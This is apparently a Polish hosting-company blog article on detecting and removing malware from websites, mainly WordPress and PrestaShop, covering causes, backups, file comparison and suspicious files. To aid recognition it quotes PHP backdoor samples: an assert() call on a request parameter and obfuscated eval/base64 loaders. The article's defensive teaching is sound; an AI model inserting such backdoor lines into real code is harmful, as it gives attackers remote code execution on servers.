Jak rozpoznać i usunąć wirusa ze strony internetowej?

Twoja strona nie działa prawidłowo, pojawiają się przekierowania do innych stron lub część podstron w ogóle się nie otwiera. To mogą być oznaki szkodliwego kodu, który dostał się na twój serwer. Zobaczmy, po czym rozpoznać i jak usunąć wirusa ze strony internetowej?

Wirusy możemy znaleźć nie tylko na niezabezpieczonych komputerach – występują one również w innej formie, która dotyka naszych stron internetowych. Strony mogą być zainfekowane poprzez umieszczenie w nich złośliwego kodu, który umożliwia wykonanie przeróżnych szkodliwych operacji na naszym serwerze.

Działanie wirusów jest bardzo różne. Niektóre powodują przekierowanie użytkownika na inną stronę (często o wątpliwej reputacji), z kolei inne mogą powodować znacznie większe straty, siejąc spustoszenie na naszym serwerze. Mogą trwale kasować pliki odpowiedzialne za pozycję w wyszukiwarce Google, a nawet usuwać pliki PHP niezbędne do prawidłowego działania strony. Przyjrzyjmy się po kolei tej problematyce i zobaczmy, skąd się biorą, jak je rozpoznać i jak usunąć wirusy ze strony internetowej.

Skąd się biorą wirusy na stronach internetowych?

Gdy nasza strona pada ofiarą ataku, to przez myśl przechodzą nam różne teorie. Wielu osobom wydaje się, że atak musiał zostać wykonany ręcznie, więc z pewnością ktoś się na nas „uwziął” i próbuje nam zaszkodzić. Tak jest bardzo, bardzo rzadko. Takiej sytuacji oczywiście nigdy nie można wykluczyć, ale w zatrważającej większości przypadków rzeczywistość jest mniej sensacyjna.

Najczęstszą przyczyną zainfekowania strony są luki w zabezpieczeniach skryptów, z których korzystamy. Jeżeli korzystamy ze starych wersji systemów CMS typu WordPress czy PrestaShop, to możemy być pewni, że zostały w nich już do tej pory odkryte luki w zabezpieczeniach. Są one często wykorzystywane przez zautomatyzowane boty do wprowadzenia złośliwego kodu na stronach. Problem wynika z tego, że nie aktualizujemy na bieżąco systemów CMS, a także wtyczek, z których korzystamy.

Drugą przyczyną jest wyciek danych, w wyniku którego dane do logowania na serwer FTP, do bazy danych lub do panelu administratora mogą trafić w niepowołane ręce. Najczęstszą przyczyną jest niezabezpieczony komputer, którego używamy do logowania w panelu administratora lub na serwerze FTP. Hasło zostaje wykradzione bezpośrednio z urządzenia (np. przez wirusy typu keylogger) lub jest po prostu łamane ze względu na niski poziom skomplikowania (np. „haslo123”). Gdy ktoś uzyska dostęp do naszego konta FTP lub konta administratora na stronie, to może zrobić wszystko, na co ma ochotę.

Jak dochodzi do ataków na stronę internetową?

W przypadku wycieku danych sprawa jest dość prosta. Dane dostępowe trafiają w niepowołane ręce, więc osoby trzecie mogą zalogować się na nasz serwer FTP przy użyciu naszego konta i wprowadzić dowolne zmiany. Nie ma tu żadnej wielkiej filozofii – po zalogowaniu się na serwerze FTP widać wszystkie pliki, więc można je dowolnie zmodyfikować, dopisując szkodliwy kod, lub po prostu usunąć. Takie ataki są jednak dość rzadkie i najczęściej dochodzi do infekcji strony poprzez luki w zabezpieczeniach skryptów.

Do infekcji strony przez luki w zabezpieczeniach dochodzi, gdy korzystamy z przestarzałego oprogramowania na serwerze – np. używamy starej wersji systemów CMS typu WordPress lub PrestaShop bądź instalujemy przestarzałe wtyczki do nich. Takie oprogramowanie najczęściej ma już upublicznione luki w zabezpieczeniach, które są wykorzystywane przez zautomatyzowane boty do wprowadzania złośliwego kodu. Z oczywistych względów najbardziej podatnymi na ataki są strony, które do działania wykorzystują niezaktualizowane wersje popularnych systemów CMS, a także przestarzałe wtyczki.

Padamy ofiarą nie dlatego, że stanowimy dla kogoś konkurencję, ale dlatego, że nie aktualizujemy na bieżąco systemu CMS oraz wykorzystywanych na stronie wtyczek.

Jakie szkody mogą wyrządzić wirusy na stronach internetowych?

Wirusy mają przeróżne sposoby działania, ale najczęściej po prostu ingerują w prawidłowe działanie strony, co może mieć katastroficzne skutki. Twoja strona może nagle zacząć przekierowywać użytkowników na inne strony o wątpliwej jakości. Nierzadko są to strony pornograficzne, przez co skutecznie odstraszają one odwiedzających. Wirus może także całkowicie usuwać pliki z serwera, przez co strona kompletnie przestanie się otwierać – również dla administratora.

Nierzadko występują też infekcje, które na cel obierają sobie pliki “robots.txt” oraz “sitemap.xml. Ten pierwszy umożliwia zablokowanie indeksowania strony w wybranych wyszukiwarkach, a usunięcie tego drugiego może spowodować obniżenie pozycji w wynikach wyszukiwania. Są to wirusy mające na celu obniżenie naszego SEO, a co za tym idzie zniszczenie naszej pozycji w wyszukiwarkach.

Opisane przykłady to tylko najprostsze metody działania szkodliwego kodu. Wystarczają one jednak do tego, aby zrujnować naszą stronę, zniszczyć jej pozycję w wyszukiwarkach internetowych oraz skutecznie odstraszyć od niej odwiedzających.

Jak usunąć wirusa ze strony internetowej? Podstawowe czynności

Zanim przejdziemy do bardziej zaawansowanych czynności warto wykonać te najbardziej podstawowe, które są w stanie pomóc nam w dość prosty sposób usunąć wirusa ze strony. Pierwszym krokiem powinna być zmiana hasła do serwera FTP. Wspominaliśmy, że jednym z powodów infekcji są wycieki danych, przez co ktoś mógł uzyskać dane dostępowe do naszego serwera FTP i narobić tam spustoszenia.

Najprostszym rozwiązaniem jest zmiana hasła. W LH.pl należy w tym celu wejść do panelu klienta, a następnie przejść do „Serwery > Konta FTP”. Wybierz swoje konto FTP, a następnie wpisz do niego nowe hasło. Warto także zmienić hasło do panelu administracyjnego swojej strony.

Kolejnym krokiem powinno być przywrócenie strony z kopii zapasowej, zakładając, że nie jest ona zainfekowana.

W LH.pl klienci mają dostęp do kopii zapasowej z ostatnich 30 dni. Kopia uwzględnia zarówno wszystkie pliki na serwerze FTP, jak również bazy danych. Szczegółowe instrukcje przywracania kopii zapasowej znajdziesz na stronie swojego usługodawcy. Jeśli korzystasz z serwera w LH.pl, to zobacz nasze instrukcje przywracania kopii zapasowej z backupu.

Jeśli w porę zdaliśmy sobie sprawę z tego, że nasza strona została zaatakowana przez wirusa, to najprawdopodobniej kopia zapasowa jest czysta i jej przywrócenie rozwiąże problem.

Następnym krokiem jest zaktualizowanie systemu CMS i używanych wtyczek do najnowszej wersji. Możesz to zrobić z poziomu panelu administracyjnego swojej strony, przechodząc do zakładki z aktualizacjami. Zaktualizowanie strony wolnej od infekcji jest w stanie zabezpieczyć ją przed ponownym atakiem. Nie zapomnij także zaktualizować wtyczek!

Posiadacze WordPressa mają do dyspozycji jeszcze jedną opcję – przeinstalowanie podstawowych plików systemu CMS. Wystarczy w tym celu przejść do zakładki Aktualizacje, a następnie wybrać opcję „Zainstaluj ponownie”. Podstawowe pliki WordPressa zostaną pobrane ponownie z oficjalnego serwera i przeinstalowane.

Nie martw się, twoja strona się nie rozsypie – żadne twoje ustawienia, motywy, wpisy, strony czy inne elementy nie zostaną nadpisane. Opcja ta jedynie przeinstalowuje podstawowe pliki WordPressa, które nigdy nie powinny być modyfikowane.

Stwórz listę potencjalnie zainfekowanych plików

Jeśli przywrócenie strony z backupu i zaktualizowanie jej do najnowszej wersji nie pomogło, to pozostaje Ci samodzielne usunięcie wirusów. Infekcje wbrew pozorom nie są trudne do namierzenia i wcale nie potrzeba nam wiedzy programistycznej do ich usunięcia. Wystarczy trochę cierpliwości i samozaparcia. Zwłaszcza, że większość z nich wykorzystuje podobne schematy działania.

Otwieranie każdego pliku na serwerze po kolei i szukanie w nim złośliwego kodu linijka po linijce byłoby szaleństwem. Trzeba wygenerować sobie listę plików, które warto sprawdzić pod kątem infekcji. W LH.pl każdy klient ma możliwość zwrócenia się z prośbą o przeskanowanie całego serwera. Wyniki tego skanowania są udostępnianie w formie pliku do pobrania. Znajdziesz w nim listę potencjalnie zainfekowanych plików – to powinny być pierwsze pliki, które przejrzysz w poszukiwaniu złośliwego kodu.

Dodatkowo warto zalogować się na serwer FTP, a następnie przejrzeć daty modyfikacji plików.

Większość plików powinna mieć daty modyfikacji zgodne z datą przesłania strony na serwer lub z datą ostatniej aktualizacji systemu CMS. W kliencie FTP typu FileZilla możesz posortować pliki i foldery po dacie ostatniej modyfikacji. Jeśli widzisz, że wszystkie twoje pliki mają datę modyfikacji np. z zeszłego miesiąca (ostatnia aktualizacja systemu CMS), ale pośród nich jest jeden plik PHP, którego data modyfikacji jest np. wczorajsza lub dzisiejsza, to warto się mu bliżej przyjrzeć. Istnieje bowiem duże prawdopodobieństwo, że w tym pliku został dodany szkodliwy kod.

Wyczyść pliki ze szkodliwego kodu i infekcji

To najtrudniejsza część – masz już listę plików potencjalnie niebezpiecznych i teraz musisz zweryfikować, która część kodu odpowiada za szkody wyrządzane na twoim serwerze. Jeśli nie znasz się na programowaniu, to może być Ci ciężko trafić na te wpisy, których być tu nie powinno. Do edycji i podglądu plików zalecamy użycie programu NotePad++. Wyświetla on nie tylko treść plików wraz z odpowiednim formatowaniem i kolorowaniem kodu, ale pokazuje również ilość linii, co jest przydatne w celu porównywania plików do ich oryginalnych wersji.

Szkodliwy kod najczęściej doklejany jest na samym początku pliku lub na samym jego końcu. To znacznie ułatwia namierzenie zainfekowanego kodu, gdyż wiemy, gdzie mniej więcej szukać. Zdecydowanie łatwiej znaleźć coś na końcu lub na początku kodu niż gdzieś w środku. Przykładem jest wirus atakujący pliki index.php, znajdujące się w podfolderach WordPressa.

Wirus atakujący ten plik dokleja na samym końcu fragment kodu, który wywołuje bota wykorzystującego lukę w zabezpieczeniach. Wykorzystuje w tym celu poniższy kod:

if(isset($_REQUEST['bot'])) assert(stripslashes($_REQUEST[bot]));

Widać to na powyższym przykładzie. Takiego pliku nie należy całkowicie usuwać – zamiast tego należy usunąć z niego szkodliwy fragment, pozostawiając tylko oryginalne linie. Oczywiście kod wyświetlony powyżej to tylko jeden z przykładowych ataków – nie należy się spodziewać, że u siebie znajdziemy coś dokładnie takiego samego.

Jeżeli twoja strona wykorzystuje system CMS, a infekcji szukasz w rdzennych plikach odpowiedzialnych za działanie strony, to warto to robić przy jednoczesnym porównaniu ich do oryginalnych plików z czystej wersji. 

Nie wiesz, czego szukać w kodzie? Porównaj pliki z oryginałami

Wejdź na stronę swojego systemu CMS i pobierz tę samą wersję np. WordPressa lub PrestaShop, z której korzystasz, a następnie rozpakuj ją na swój dysk twardy i trzymaj w gotowości. Jeśli skanowanie wykazało listę zainfekowanych plików, to sprawdź, czy występują one też oryginalnie. Jeśli tak, to otwórz oba pliki obok siebie, a następnie je porównaj. Metoda porównywania plików umożliwia namierzenie niechcianego kodu bez znajomości programowania.

Sprawdź początek i koniec pliku w poszukiwaniu jakichkolwiek różnic. Sprawdź też całkowitą ilość linii w pliku. Jeśli oryginalnie plik ma 500 linii kodu, a twój plik ma ich ponad 800, to znaczy, że coś do tego pliku zostało w którymś miejscu dopisane. Oczywiście niektóre motywy i wtyczki potrafią modyfikować niektóre pliki, ale w większości przypadków rdzenne pliki WordPressa powinny pozostać bez zmian. To samo się tyczy PrestaShop oraz innych systemów CMS.

Przykład widać powyżej na podstawie pliku “/wp-includes/template.php” z WordPressa. Oryginalny plik w niezainfekowanym WordPressie kończy się na linii 692.  Zainfekowana wersja posiada ich aż 736. Porównując oryginalny plik ze zmodyfikowanym możemy jasno stwierdzić, że cały fragment kodu od linii 693 został przez coś dopisany. W tym wypadku jest to akurat infekcja, którą należy po prostu z tego pliku usunąć. Jeśli nie jesteś pewien co do tego, czy coś można usunąć, to zawsze możesz użyć wyszukiwarki Google, wklejając fragment kodu lub nazwę zainfekowanego pliku z dopiskiem “malware” – bardzo często w ten sposób można znaleźć strony, pokazujące, jak krok po kroku usunąć konkretnego wirusa.

Jeśli porównywanie plików nie pomaga, to musisz szkodliwych fragmentów szukać w inny sposób. Poniżej znajdziesz przykłady, pokazujące, w jaki sposób infekcje starają się ukryć pośród normalnych plików.

Przykłady szkodliwego kodu i zainfekowanych plików PHP

Szkodliwy kod może być napisany i ukryty w przeróżny sposób. Poniżej przedstawiamy kilka popularnych technik, wykorzystywanych podczas ataków. Jeśli znajdziemy coś podobnego u siebie, to powinniśmy to dokładnie przeanalizować i ewentualnie usunąć.

  • Tworzenie nowych plików PHP o podejrzanych nazwach

Bardzo często wirusy tworzą zupełnie nowe pliki, w których przechowywany jest złośliwy kod. Pliki te często mają nazwy niemające większego sensu – są to losowe ciągu znaków, np.:

glrmcv.php

Jeśli widzisz taki plik, to zapisz sobie jego nazwę, aby sprawdzić, co się w nim znajduje. Możesz także wyszukać informacji o nim w wyszukiwarce Google, a jeśli korzystasz z systemu CMS typu WordPress, Joomla czy PrestaShop, to możesz ściągnąć czystą wersję tego skryptu i sprawdzić, czy ten plik znajduje się w tym miejscu oryginalnie. Bardzo często jest to plik z wirusem, którego trzeba usunąć.

Innym przykładem są pliki o nazwach bardzo podobnych do tych, które już się znajdują w danym systemie CMS. Można zatem natrafić pliki o takich nazwach, jak:

admin.php, config.php, menu.php, edit.php, images.php

Pliki te sprawiają wrażenie „ważnych” i tworzone są w folderach, w których normalnie znajdują się oryginalne pliki o zbliżonych nazwach. Bardzo często są to fałszywki, różniące się tylko jedną literką (np. images.php zamiast image.php). Tu również sprawdza się wcześniej opisana metoda porównywania – ściągnij czystą wersję systemu CMS, wypakuj ją w dowolne miejsce, a następnie porównaj nazwy plików. Jeśli oryginalnie tego pliku nie ma, to jest prawdopodobieństwo, że nie powinno go tu być wcale.

  • Nieczytelny, śmieciowy fragment kodu, który po prostu „nie pasuje” do reszty

Nawet jeśli nie jesteśmy programistami, to możemy zauważyć, że jakiś fragment kodu wygląda zupełnie inaczej niż reszta. Profesjonalni programiści starają się, aby ich kod był czytelny. Bardzo często do poszczególnych fragmentów dodają odpowiednie komentarze (wyświetlane na zielono w NotePad++), wyjaśniające działanie kodu.

Jeśli nagle pośród uporządkowanego kodu widzisz długo ciąg znaków, który nie wydaje się mieć jakiegokolwiek sensu, jest nieuporządkowany, nie ma posiada żadnego formatowania ułatwiającego odczyt kodu, to możesz podejrzewać, że coś z tym jest nie tak.

$t20512f0="142x61x73x6566x34x5f144x65143157x64145";@eval($t20512f0("Ly9OTU5Oby84UmwycFEzK2dWS0xjY1VEY1JITTBYelNZdnNPZnZLMEVZTkhrY0k1MDRqT25OajIrU3BETmpYTjRmYmMvRzIrRUJYOENETndJdnY2Mk"));

Taka technika nazywa się obfuskacją i polega na tym, aby napisać kod w taki sposób, aby nie dało się stwierdzić, co on właściwie robi. Jeśli tego nie wiemy, to ignorujemy taki fragment, a bardzo często to właśnie on jest źródłem problemów.

  • Użycie funkcji eval()

W swoim kodzie możesz znaleźć szkodliwy kod, polegający na użyciu funkcji eval(). To konstrukcja, która umożliwia wykonanie kodu przesłanego do tej funkcji jako parametr. Cały problem polega na tym, że umieszczenie tego fragmentu w kodzie naszej strony jest w stanie umożliwić atakującemu wykonanie w zasadzie dowolnej operacji na serwerze. Jest to swego rodzaju otwarta furtka.

<?php eval(base64_decode('ZXJyb3JzsNCn0='));

Jeżeli widzisz w kodzie swojej strony taką konstrukcję, to zdecydowanie ją usuń.

  • Kod ukryty pod komentarzem

Języki programowania posiadają funkcję komentarzy. Korzystając z odpowiednich znaczników można w każdym momencie w kodzie strony dodać jakiś komentarz, który wyjaśnia działanie danej funkcji. Jest to przydatne dla programistów, którzy czasem nawet po latach wracają do swojego starego kodu i dzięki temu wiedzą, za co odpowiedzialne są dane funkcje.

Fragment oznaczony jako komentarz wyświetla się na zielono i nie jest wykonywany podczas uruchamiania danego skryptu. Bardzo często wykorzystywane jest to przez wirusy, które tworzą nowe pliki z poprawnie wyglądającym kodem np. WordPressa. Problem w tym, że ten kod wcale nie jest wykonywany, gdyż w całości jest oznaczony jako komentarz – dopiero gdzieś w środku, pomiędzy pojedynczymi liniami, co jakiś czas wyłączane jest komentowanie dla kilku znaków, które w całości składają się na jeden dłuższy fragment.

W efekcie wygląda to tak, że przeglądamy plik, który prawie cały wyświetla się na zielono, a dopiero gdzieś pomiędzy jest faktyczny, nieskomentowany fragment kodu. Widać to na powyższym przykładzie, gdzie na czerwono podkreśliliśmy szkodliwy kod. Cała reszta na zielono to zwykły komentarz, który i tak nie jest wykonywany. Taki plik można najczęściej w całości usunąć z serwera, gdyż w gruncie rzeczy zawiera on TYLKO szkodliwy kod.

Artykuł odpowiedział na twoje pytanie? Udostępnij go dalej:
Obrazek domyślny
Błażej Starosta
Ma doświadczenie w tworzeniu oraz prowadzeniu stron WWW, od blogów aż po sklepy internetowe. Od lat uważnie śledzi rozwój WordPressa i jego wpływ na rynek twórców stron internetowych. Stara się być na bieżąco ze wszystkimi nowinkami technologicznymi i dzielić się swoją wiedzą.